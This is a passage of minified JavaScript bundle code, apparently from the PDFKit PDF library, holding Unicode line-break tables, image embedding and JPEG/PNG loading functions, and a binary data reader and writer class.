14, 14, 14, 14, 14, 14, 14, 14, 14, 9, 10, 14, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 22, 39, 6, 14, 14, 9, 10, 14, 14, 0, 1, 14, 14, 1, 14, 1, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 5, 5, 14, 14, 14, 6, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 0, 14, 1, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 0, 14, 1, 14, 0, 1, 1, 0, 1, 1, 5, 12, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 5, 5, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 10, 9, 14, 14, 14, 9, 9, 39, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 31, 29, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 17, 17, 17, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 17, 17, 17, 17, 17, 17, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 17, 17, 17, 17, 17, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 17, 17, 17, 17, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 17, 17, 17, 17, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 17, 17, 12, 17, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 17, 17, 17, 17, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 0, 0, 1, 1, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 1, 12, 12, 12, 0, 1, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 39, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 39, 39, 39, 39, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 14, 14, 14, 14, 14, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 14, 12, 14, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 14, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39],
            highStart: 919552, errorValue: 0
        }
    }, function (t, e) {
        (function () {
            e.OP = 0, e.CL = 1, e.CP = 2, e.QU = 3, e.GL = 4, e.NS = 5, e.EX = 6, e.SY = 7, e.IS = 8, e.PR = 9, e.PO = 10, e.NU = 11, e.AL = 12, e.HL = 13, e.ID = 14, e.IN = 15, e.HY = 16, e.BA = 17, e.BB = 18, e.B2 = 19, e.ZW = 20, e.CM = 21, e.WJ = 22, e.H2 = 23, e.H3 = 24, e.JL = 25, e.JV = 26, e.JT = 27, e.RI = 28, e.AI = 29, e.BK = 30, e.CB = 31, e.CJ = 32, e.CR = 33, e.LF = 34, e.NL = 35, e.SA = 36, e.SG = 37, e.SP = 38, e.XX = 39
        }).call(this)
    }, function (t, e) {
        (function () {
            var t, n, r, i, o;
            e.DI_BRK = r = 0, e.IN_BRK = i = 1, e.CI_BRK = t = 2, e.CP_BRK = n = 3, e.PR_BRK = o = 4, e.pairTable = [[o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, n, o, o, o, o, o, o, o], [r, o, o, i, i, o, o, o, o, i, i, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, o, o, o, o, i, i, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [o, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, i, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, i, r, i, i, r, r, o, t, o, i, i, i, i, i, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, r, i, o, o, o, r, r, i, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, r, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, o, o, t, o, r, r, r, r, r, r], [r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, o, r, r, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, i, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, i, i, i, i, r, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, i, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, i, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, i]]
        }).call(this)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r;
                r = n(290), t.exports = {
                    initImages: function () {
                        return this._imageRegistry = {}, this._imageCount = 0
                    }, image: function (t, n, i, o) {
                        var a, s, u, c, l, f, h, p, d, g, v, y, m, b;
                        return null == o && (o = {}), "object" == typeof n && (o = n, n = null), n = null != (g = null != n ? n : o.x) ? g : this.x, i = null != (v = null != i ? i : o.y) ? v : this.y, e.isBuffer(t) || (h = this._imageRegistry[t]), h || (h = r.open(t, "I" + ++this._imageCount), h.embed(this), e.isBuffer(t) || (this._imageRegistry[t] = h)), null == (a = this.page.xobjects)[d = h.label] && (a[d] = h.obj), m = o.width || h.width, l = o.height || h.height, o.width && !o.height ? (b = m / h.width, m = h.width * b, l = h.height * b) : o.height && !o.width ? (f = l / h.height, m = h.width * f, l = h.height * f) : o.scale ? (m = h.width * o.scale, l = h.height * o.scale) : o.fit && (y = o.fit, c = y[0], s = y[1], u = c / s, p = h.width / h.height, p > u ? (m = c, l = c / p) : (l = s, m = s * p), "center" === o.align ? n = n + c / 2 - m / 2 : "right" === o.align && (n = n + c - m), "center" === o.valign ? i = i + s / 2 - l / 2 : "bottom" === o.valign && (i = i + s - l)), this.y === i && (this.y += l), this.save(), this.transform(m, 0, 0, -l, n, i + l), this.addContent("/" + h.label + " Do"), this.restore(), this
                    }
                }
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a;
                a = n(53), n(291), r = n(292), o = n(293), i = function () {
                    function t() {
                    }

                    return t.open = function (t, n) {
                        var i, s;
                        if (e.isBuffer(t)) i = t; else if (t instanceof ArrayBuffer) i = new e(new Uint8Array(t)); else if (s = /^data:.+;base64,(.*)$/.exec(t)) i = new e(s[1], "base64"); else if (!(i = a.readFileSync(t))) return;
                        if (255 === i[0] && 216 === i[1]) return new r(i, n);
                        if (137 === i[0] && "PNG" === i.toString("ascii", 1, 4)) return new o(i, n);
                        throw new Error("Unknown image format.")
                    }, t
                }(), t.exports = i
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e) {
        (function () {
            var e;
            e = function () {
                function t(t) {
                    this.data = null != t ? t : [], this.pos = 0, this.length = this.data.length
                }

                return t.prototype.readByte = function () {
                    return this.data[this.pos++]
                }, t.prototype.writeByte = function (t) {
                    return this.data[this.pos++] = t
                }, t.prototype.byteAt = function (t) {
                    return this.data[t]
                }, t.prototype.readBool = function () {
                    return !!this.readByte()
                }, t.prototype.writeBool = function (t) {
                    return this.writeByte(t ? 1 : 0)
                }, t.prototype.readUInt32 = function () {
                    var t, e, n, r;
                    return t = 16777216 * this.readByte(), e = this.readByte() << 16, n = this.readByte() << 8, r = this.readByte(), t + e + n + r
                }, t.prototype.writeUInt32 = function (t) {
                    return this.writeByte(t >>> 24 & 255), this.writeByte(t >> 16 & 255), this.writeByte(t >> 8 & 255), this.writeByte(255 & t)
                }, t.prototype.readInt32 = function () {
                    var t;
                    return t = this.readUInt32(), t >= 2147483648 ? t - 4294967296 : t
                }, t.prototype.writeInt32 = function (t) {
                    return t < 0 && (t += 4294967296), this.writeUInt32(t)
                }, t.prototype.readUInt16 = function () {
                    var t, e;
                    return t = this.readByte() << 8, e = this.readByte(), t | e
                }, t.prototype.writeUInt16 = function (t) {
                    return this.writeByte(t >> 8 & 255), this.writeByte(255 & t)
                }, t.prototype.readInt16 = function () {
                    var t;
                    return t = this.readUInt16(), t >= 32768 ? t - 65536 : t
                }, t.prototype.writeInt16 = function (t) {
                    return t < 0 && (t += 65536), this.writeUInt16(t)
                }, t.prototype.readString = function (t) {
                    var e, n, r, i;
                    for (i = [], e = n = 0, r = t; 0 <= r ? n < r : n > r; e = 0 <= r ? ++n : --n) i[e] = String.fromCharCode(this.readByte());
                    return i.join("")
                }, t.prototype.writeString = function (t) {
                    var e, n, r, i;
                    for (i = [], e = n = 0, r = t.length; 0 <= r ? n < r : n > r; e = 0 <= r ? ++n : --n) i.push(this.writeByte(t.charCodeAt(e)));
                    return i
                }, t.prototype.stringAt = function (t, e) {
                    return this.pos = t, this.readString(e)
                }, t.prototype.readShort = function () {
                    return this.readInt16()
                }, t.prototype.writeShort = function (t) {
                    return this.writeInt16(t)
                }, t.prototype.readLongLong = function () {
                    var t, e, n, r, i, o, a, s;
                    return t = this.readByte(), e = this.readByte(), n = this.readByte(), r = this.readByte(), i = this.readByte(), o = this.readByte(), a = this.readByte(), s = this.readByte(), 128 & t ? (72057594037927940 * (255 ^ t) + 281474976710656 * (255 ^ e) + 1099511627776 * (255 ^ n) + 4294967296 * (255 ^ r) + 16777216 * (255 ^ i) + 65536 * (255 ^ o) + 256 * (255 ^ a) + (255 ^ s) + 1) * -1 : 72057594037927940 * t + 281474976710656 * e + 1099511627776 * n + 4294967296 * r + 16777216 * i + 65536 * o + 256 * a + s
                }, t.prototype.writeLongLong = function (t) {
                    var e, n;
                    return e = Math.floor(t / 4294967296), n = 4294967295 & t, this.writeByte(e >> 24 & 255), this.writeByte(e >> 16 & 255), this.writeByte(e >> 8 & 255), this.writeByte(255 & e), this.writeByte(n >> 24 & 255), this.writeByte(n >> 16 & 255), this.writeByte(n >> 8 & 255), this.writeByte(255 & n)
                }, t.prototype.readInt = function () {
                    return this.readInt32()
                }, t.prototype.writeInt = function (t) {
                    return this.writeInt32(t)
                }, t.prototype.slice = function (t, e) {
                    return this.data.slice(t, e)
                }, t.prototype.read = function (t) {
                    var e, n, r;
                    for (e = [], n = 0, r = t; 0 <= r ? n < r : n > r; 0 <= r ? ++n : --n) e.push(this.readByte());
                    return e
                }, t.prototype.write = function (t) {
                    var e, n, r, i;
                    for (i = [], n = 0, r = t.length; n < r; n++) e = t[n], i.push(this.writeByte(e));
                    return i
                }, t
            }(), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r = [].indexOf || function (t) {
                for (var e = 0, n = this.length; e < n; e++) if (e in this && this[e] === t) return e;
                return -1
            };
            n(53), e = function () {
                function t(t, n) {
                    var i, o, a;
